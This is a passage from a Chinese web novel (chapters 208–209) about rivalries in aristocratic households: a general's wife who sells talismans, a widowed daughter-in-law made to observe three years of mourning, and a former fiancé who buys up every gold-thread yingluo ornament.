更应该联起手来,叫那户人家晓得厉害。 怎么就……最后演变成了她们婆媳内讧了呢? 瞧着赵夫人的脸色变化,黎阳夫人明白她已经想清楚了一半,又给她倒了半盏茶,劝道:“丧子之痛,我也体会过,那真是跟天塌了一般;但活着的人还要继续过日子,你也还有未做完的事情。” 赵夫人捂着脸,哭声越发呜咽。 安园,探得消息的今瓜回来了。 虞声笙忙细问,今瓜将事情原原本本说了一遍,又道:“我瞧咱们姑太太的意思是不会相帮,顶多就是宽慰两句。” “噢,你怎么知晓?”虞声笙喜欢看今瓜这般机灵的模样,弯起眉眼追问。 “嗐这还不简单,咱们姑太太被乾州那些麻烦事整得心寒了呗,如今连人带家当产业都落在了京城,谁还想管夫家那些个糟心事;依着奴婢的想法呀——那石府少爷多少有点罪有应得。” 今瓜说完,忙吐了吐舌尖,怯生生地看了一眼自家主子。 虞声笙深以为然,嘲弄地弯起嘴角:“说的是呢,他以为玩弄女子不过是寻常消遣,须知这一项罪就足够送他去见阎王了,活该罢了。” 外头,小厮明儿来报。 玉厚郡主又差人送来了这一旬的分利银子。 沉甸甸的,装满了一整个木匣。 一开始看到时,虞声笙很惊叹——毕竟是才成为京中小姐没几年的乡巴佬,自然逃不过金银之物的诱惑。 看多了,她居然有点免疫了。 金猫儿与今瑶当着她的面点清楚了银两数量,又一一登账过目,才将银子送入库房,这算是虞声笙自己的体己银子,甚至不需要给闻昊渊过目。 这也是那男人自己说的。 “你自己赚的钱自己收着,府里有什么花销先紧着放在账房里的银子使。” 有了这话,虞声笙心花怒放。 原本按照原先张氏的教导,女子嫁人,就该出嫁从夫。 除了嫁妆,其余的一应开源进项,都该是丈夫说了算的。 没想到闻昊渊竟然对她毫不设防,该给她就给她。 虽说这在虞声笙这里是理所应当,但放眼京城,乃至整个天下,又有几人能做到?脱离现实说理想,那就是空想。 她觉得做人还是要脚踏实地才好。 玉厚郡主就很脚踏实地。 甚至有点过于实在了。 按照虞声笙的猜测,玉厚郡主送来的恐怕远不止一成分利。 这位尊贵的郡主娘娘是有心和虞声笙交好。 收了人家的好,她也不是看不透的二愣子,便立马诚心诚意地供奉,将黄纸、笔墨、朱砂等物先受一回香火,然后又画了几张平安符送去郡主府。 玉厚郡主见了开心不已,觉着自己这银子送得是真值。 段佑文却觉着,就这么几张黄纸哪里值得那么多钱?自己婆娘该不会是被骗了。 可他哪敢说呀。 女儿经历的这些事,让他后怕不已。 世上还是有很多说不清道不明的玄机,他也是忌惮得很。 不仅如此,玉厚郡主趁机让他卸了家里的财政大权,日常开销,但凡超过十两银子都要报给她知晓。 段佑文敢怒不敢言,只得缩在一旁,很是不情愿地答应了。 却说镇国将军府。 自打金粉绣线重新问世,那璎珞就成了京中女子喜爱的稀罕物。 以金粉绣线制成的璎珞华贵漂亮,人人都爱。 徐诗敏自然也买到了两枚。 这璎珞一到手,她就松了口气。 还以为丈夫之前突然佩戴的璎珞是什么人送的,现在看看,应该是当初买的,大约是金粉绣线难得又富贵,所以戴着更衬身份吧。 “你瞧,这璎珞与你的那一枚一样,好看不?”她献宝似的送到丈夫眼前,“咱们库房里有一块上好的墨玉,回头让工匠打了,做一把玉珏或是玉锁嵌在璎珞上,岂不更好看,你说是不是?” 慕淮安定定地看了半晌,终于回过神来:“嗯,你看着办就好。” “我一直觉着你这一枚该配一样玉珏才好,翩翩君子,才能体现你的气度。” 徐诗敏又自顾自地说着,完全没留意到丈夫已经心不在焉。 他无心再听,将那枚璎珞摘下来随意递给她,“拿去弄吧。” 丢下这话,他便头也不回地阔步离去。 徐诗敏再迟钝,见他这般反应也明白了七八分。 冷冷望着那枚璎珞半晌,她冷哼一声,随手将璎珞丢进了妆奁的最深处。 这本该是不起眼的小插曲,却从次日起有了不一样的转变。 不知名的人在暗中收购这种从锦绣布庄出的金粉璎珞,有多少收多少,竟不在意花多少银钱。 消息很快传到玉厚郡主耳中。 她人脉广泛,耳目众多,旁人打听不到的,却瞒不过她。 很快,她便知晓了此事的幕后推手。 再细细一问,她一声长叹,摇摇头嗤笑着嘟囔了两句,随后便让人给威武将军府送拜帖。 在虞声笙这里,玉厚郡主就是善财童子。 她的拜帖哪有拒之门外的道理。 很快,玉厚郡主便进了安园。 “郡主娘娘又来给我送银子了?”虞声笙笑着打趣。 “我在你这儿就只有这用处不成?” “让你当财神爷,你还不开心。” 玉厚郡主闻言失笑,双双见礼坐下后,她便打开了话匣子。 第208章朱砂痣与蚊子血 说来也怪,论年纪,玉厚郡主是与张氏差不多年岁的人了,更是平辈;与虞声笙差了一个辈分,论理虞声笙该称呼她一声太太才是。 经历过原先一连串的风波,玉厚郡主反而觉得这将军夫人脾性人品都不错,直来直去,也知晓分寸事理,是个很值得结交的人。 一来二去的,反而觉得与虞声笙更聊得来,成了忘年交。 话匣子才打开,她便将今日来意一五一十说了。 玉厚郡主并没有看笑话的意思,一语道破后,叹道:“你我都是女人,也都嫁人了的,这男人心里怎么想的多少知道些,别的不说,就说这慕小将军此举就不妥;他暗中派人买走市面上所有的金粉绣线的璎珞,我这开门做生意的,也没有将客人往门外推的道理,只是怕给你添麻烦。” 窝在内宅这段时日,虞声笙还真不知道外头有这样的趣事。 听得她微微挑眉,面上有些不可思议。 “不怕郡主你笑话,从前我是一门心思地对他的,不说掏心掏肺,也是真心真意,不为别的,当初只为了我娘家;我是养女,自幼就没养在父母跟前,那也是我体弱,吃不消这福气,怪不得旁人;一朝归来,养父母身边已没有其他女儿,这婚约少不得要落在我肩上。” “我虽没读过什么书,但也知晓知恩图报的道理,自然是千方百计想将那御赐的婚约履行到底,只可惜天不遂人愿,亦或是我与那慕小将军无缘,才有了今日这般造化。” 虞声笙说得坦荡,几乎不假思索,可见字字真心。 “如今我与我家将军成婚已有一两年,他待我是极好的。” 说到这儿,她面上浮起羞涩的红晕,抿唇笑道,“我也明白他待我的心意,自当珍重,绝不辜负。” “是以,郡主今日所言,我也格外感激,多谢郡主好心来告知。如今时过境迁,我与那慕小将军只有兄妹名分,全无男女之情,随他怎么做、做什么,都与我无关。” 听到这话,玉厚郡主松了口气:“难为你是个明白人,年纪轻轻,竟看得这样透彻,原先我不了解你,还真以为你是那一根筋、转不过弯来的。” “人活一世,怎能为了辜负自己的人搭上一辈子?” 虞声笙眨眨眼睛,“倒是咱们的锦绣布庄赚得可不少,我更开心。” 玉厚郡主一时没崩住,也笑得露出牙花:“可不是么!” 二人相视一笑,这事儿就此搁下,不再提及。 屋外,金猫儿捧着碗碟匆匆过来,那里头摆着的是方才虞声笙吩咐过的蜂蜜松仁软糕——上回玉厚郡主吃过一回,盛赞常妈妈的手艺,这就被虞声笙记下了。 这便是刚出炉的一份,新鲜热乎着。 走廊外一个拐弯,金猫儿只觉得眼前一黑,差点摔了糕饼。 抬眼一看,却是闻昊渊。 “老爷。”她忙退后两步,稳住身形福了福。 闻昊渊随意应了一声,目光落在那碟子蜂蜜松仁软糕上:“近来夫人爱吃这些甜软的?” “这是夫人吩咐了给郡主娘娘准备的。” 闻昊渊便不再说话,一阵风似的从金猫儿身边掠过。 他依然板着脸,高大粗犷的模样,看一眼都叫人不寒而栗。 金猫儿是不敢跟男主人多说话的,哪怕多靠近一点都觉得浑身紧绷,还是自家夫人好,温柔俏皮又不失明理大度。 送了软糕进去,她便退了出来,刚巧遇上了今瑶。 “方才老爷进去了?” “老爷?哪里来的老爷?我没瞧见啊。”今瑶一头雾水。 倒是旁边伺候鸟雀喂食的今朝插了一句:“我方才见到老爷过来了,就立在窗外听了一会儿才走,没有进屋子里去。” “噢。”金猫儿松了口气。 “天不怕地不怕的金猫儿姐姐,原来见着老爷就成了见了猫的老鼠。”今朝嘻嘻笑道。 “你个小蹄子!你不怕,你躲那么远喂雀儿!” 今朝不敢接话了,吐吐舌尖,转过身去。 约莫一炷香的功夫,玉厚郡主心满意足地离去。 离开前,虞声笙还给了她另外一张符。 “这也是求平安的?”玉厚郡主看出了这张符与之前有些不一样。 “自然不是。”虞声笙笑道,“宜德县主正值妙龄,自然在婚缘一事上须多费心,这是一张姻缘符,让县主随身戴着便成。” 一听这话,玉厚郡主眼睛都亮了。 女儿平安无事,接下来该操心的就只有儿女婚事了。 虽说这事急不来,但也是挂在他们夫妻心坎上的一桩牵挂。 虞声笙送的平安符很有奇效,那这姻缘符应当也错不了。 当晚,她与闻昊渊说起这个。 闻昊渊来了兴致:“有用么?” “宜德县主的婚缘就近在咫尺,就算不用这符也能有一个圆满的结果,不过有了这符嘛,自然会效率快一些。” 她眯起眉眼,满足地摸了摸自己隆起的腹部。 孕期无风波,还平白赚了好多银钱,真是做梦都会笑醒。 至于慕淮安背地里收购璎珞一事,他们夫妻二人谁都没有提起。 却说另一头的赵夫人。 经过黎阳夫人一番劝说,她整个人清醒了不少。 儿子注定是回不来了。 那么让对方付出代价,才是她这个做母亲的应该做的。 那一日,她冲到梨园将丈夫拽了回来,夫妇俩爆发了一场前所未有的争执。 赵夫人战斗力惊人,更是急中生智,一番以儿子为命题的劝说哭诉很有成效,说得那石老爷也压不住深藏心底的痛苦,当场哭成了个泪人。 两口子抱头痛哭了一夜,翌日就决定联起手来。 赵夫人又送了帖子给徐府。 很快徐大太太领着女儿过来了。 原本徐诗敏也答应了要一起来,好给妹妹撑撑场子。 可临到了了,一小厮过来传话,说是慕大奶奶晨起身子不适,今儿就不来了。 惹得徐心敏脸色难看,吐了句:“早知她不是真心的,何必装腔作势。” 徐大太太瞪了女儿一眼,徐心敏立马不敢吭声了,随着母亲坐上了马车。 没法子,这些日子她在娘家夹紧尾巴做人。 成了寡妇,娘家不嫌晦气,还能让她安心住着,这便够了。 事情一日不尘埃落定,她这悬着的心一日无法安定。 很快,石府的大门近在眼前。 徐大太太理了理鬓角发髻,目光严厉:“出门前与你说的话可还记得?” “母亲放心,女儿晓得利害。” 石府正堂内,茶水已上,奴仆尽褪。 本以为今日要面对的,只有赵夫人,没想到石老爷居然也在。 徐大太太心头咯噔一下,还是稳住了。 “今日咱们两家就把话说开,本就是结了儿女亲家的,为了这些事闹得不可开交,反倒结怨,这就更不妥了。”徐大太太轻叹,“女婿一事,我也痛心,谁愿自己的女儿年纪轻轻就守寡呢。” 这话说得真心,她眼眶都红了。 赵夫人撇开脸,不断用帕子擦拭着。 “既然今日亲家母讲话说明,我们夫妇也不是较真的人,心敏不愿守寡,想回娘家去另嫁,我们也能理解。” “只是——” 第209章雨打芭蕉 “只是我儿故去还不足三月,我石府也是要脸面的人,儿媳妇说什么也不该在这个时候与夫家闹崩;此时,我们石府算得上背腹受敌,芠儿一事尚未有决断,儿媳妇却将把柄放走了,给谁心里能过意得去?” 赵夫人一口气说完,深吸一口气,“要我们松口,放她回娘家也成,须得答应我们几个条件,只要答应并做到,我们绝不阻拦;日后一应婚丧嫁娶,都与咱们石府无关。” “你说。” 徐大太太已经看出了赵夫人的决绝,心下有些佩服。 堂中插着几瓶花。 都是雪白的玉莲,摇曳生姿,芬芳淡雅。 只是太素净了,更添得几分丧葬的悲戚,让人不忍多看。 正堂内,双方足足聊了一个多时辰,徐大太太才绷着脸告辞离去。 回到马车上,徐心敏迫不及待地追问:“娘,您当真要答应?这石府简直欺人太甚,人都没了,还要女儿替夫君守孝满三年?三年呐!!” 她万万没想到,赵夫人两口子不要她的嫁妆,提出的第一个条件,就是徐心敏必须替石芠守孝满三年。 这可是重孝。 徐心敏本就对石芠没什么情分可言。 丈夫离世,也不见她有多难过。 她原本是不愿舍弃那些钱财家当的,可如今跟三年守孝比起来,还是舍弃一半嫁妆来得更果断,她还能更快地另嫁他人,早日从这一片阴霾中脱身。 徐大太太面露疲惫。 一旁的大丫鬟见状,忙伺候着她歪在软枕上,轻轻替她揉着肩膀胳膊。 “娘,您说句话呀!” “就是寻常人家,丈夫死了,妻子也是要守孝的。” 一听这话,徐心敏呆住了。 片刻后,她挣扎着:“可、可女儿与他成婚没多少时日,连孩子都没有的。” “你是三书六礼,明媒正娶过门的正房奶奶,就算只嫁过去一日,那石芠也是你的丈夫。”徐大太太一语落地,满是倦态地揉了揉眉心,“守孝三年,三年后再回府,另说婚嫁的事情,你还年轻,等得起。” “娘!!”徐心敏一想到自己要在那个压得她喘不过气的石府再待上三年,整个人都不好了,“您这是要逼死女儿么?!” “你懂什么!”徐大太太也火了,“守孝这事本就天经地义,就是说破了天,你告去御前,也是石府这头占理!哪有丈夫刚死,尸骨未寒,你就闹着离家另嫁的?你爹还在朝中为官,多少双眼睛盯着呢!这事要是闹开了,你知不知道光一个为父不教,就足以让那些言官参你父亲了!” 徐心敏愣住了,呆呆地落泪。 见女儿这副模样,徐大太太更是气不打一处来。 她也懒得再管女儿的情绪,事情已经出了,必须一桩一桩地解决。 “第一守孝,此事容不得你再啰嗦,再多说一句,我便让你父亲来管你;第二,七日后你回石府,到时候我们两家会联手,务必给你公婆一个交代,让那府里的公子哥儿付出代价;第三,守孝三年你必须事事恭顺,孝敬公婆,万不可再像这次这般莽撞,别叫人在明面上抓住把柄!你可知晓?” 徐大太太紧紧盯着女儿,厉声提醒,千叮万嘱。 徐心敏只觉得心头万般憋屈,硬生生将酸涩的泪意压了下去。 她用力点点头,表示自己明白了。 转念一想,无数乱七八糟的念头如浪潮涌来,几乎将她吞没。 要是今日姐姐也在,说不定就不是这样的结果了…… 姐姐可是镇国将军府的大奶奶,有她在,母亲和自己也不会这样势单力薄…… 一时间,怨念横生,硬生生逼红了她的眼睛,喉间一阵哽咽。 对此毫无所知的徐诗敏还在头疼自己府里的事情。 慕淮安差人买走的璎珞一股脑堆在库房中,一只只锦盒里放着的都是这玩意,打开一看流金璀璨,果真漂亮;可看久了,刺的人眼睛痛,心更痛。 这也是为什么徐诗敏今日没跟着母亲妹妹一道去石府的原因。 一早管事婆子就来报,问这些璎珞该如何处置。 徐诗敏原本被蒙在鼓里。 一看这些,顿时气得心跳不稳。 刚要命人将这些都处理了,偏又来了个小厮,还是慕淮安跟前的小厮——这小厮来传话,说是少将军说了,库房里的这些东西不准大奶奶动。 徐心敏只能眼睁睁地看着,什么都不能做。 这份憋屈可想而知。 她很想问,这璎珞究竟是不是与那虞四有关。 忍了又忍,终于到了晚上忍不住了。 晚饭后,各自更衣梳洗,徐诗敏让盈袖将丈夫请来。 房中只剩下他们夫妻二人。 她索性不装了,问得那叫一个直白。 慕淮安低头摩挲着手腕:“原先……她送给我的。” 就这么简单的一句,听得徐诗敏心肠俱碎,难以置信。 “你以前都是不在意她的,为什么都与我好了,与我成婚了,现在又念念不舍了?慕淮安,你究竟在想什么?!你娶我过门,难道就为了作践我么?!” 她再也忍不住了,吼得撕心裂肺。 虞声笙留下的一样小物,也能让他兴师动众,做出这些令人匪夷所思的可笑行径。 是为什么? “你是不想让旁人也有一样的璎珞,是不是?你就想着,这是你一人独有的,对不对?”徐诗敏突然福如心至,茅塞顿开。 被猜中心事的慕淮安依旧垂眸不语。 她却没有了与他周旋猜测的心情,扯着他的胳膊怒吼:“你说话呀!!” 突然,他抬眼,望着徐诗敏的眼神像是在看其他人。 一字一句无比虔诚。 “她说过的。” “什么?” “她说过这是她亲手缝制给我的,是独一份的……”慕淮安自嘲地笑起来,“原来从头到尾,她对我的追逐不舍都是装的,是演的。” 渐渐地,他眼睛红了。 “亏我当初以为是真的,却不以为意;如今嵌在心底放不下,这又成了假的;你让我、让我如何能接受?” “既然是假的,那我也要让它成为真的。” 徐诗敏怒极,扬手狠狠打偏了他的脸:“慕淮安,你可真贱!” 乌云袭来,笼罩晴夜,就连皎皎月色都被吞没。 淅淅沥沥的小雨不知什么时候落下,渐渐湿润了耳边。 虞声笙睡得迷迷糊糊,隐约间好像听见外头有人在喊自己。 可她实在是太困了,眼皮沉得很。 一只大手轻轻拍着她的后背,让她不得不又沉溺在梦乡中。 等到一觉醒来,见窗外雾蒙蒙一片,才知又下雨了。 没法子,下雨天,这觉总是睡起来格外香。 听到动静的今瑶忙招呼人来伺候着,待虞声笙洗漱更衣,坐下用饭时,瞄一眼滴漏吓了一跳——都已经辰时末了! “今早有人来了?”虞声笙吃着香脆的花生酥,心情大好。 金猫儿道:“一早镇国将军府就来人了,问有没有安胎的药什么的,说是他们府上的大奶奶惊了胎,怕是要早产。” “将军料理了这事儿?” “老爷没说别的,只吩咐管事开了库房给了些药,都是御贡的好东西呢,可惜了……”今瑶惋惜不已。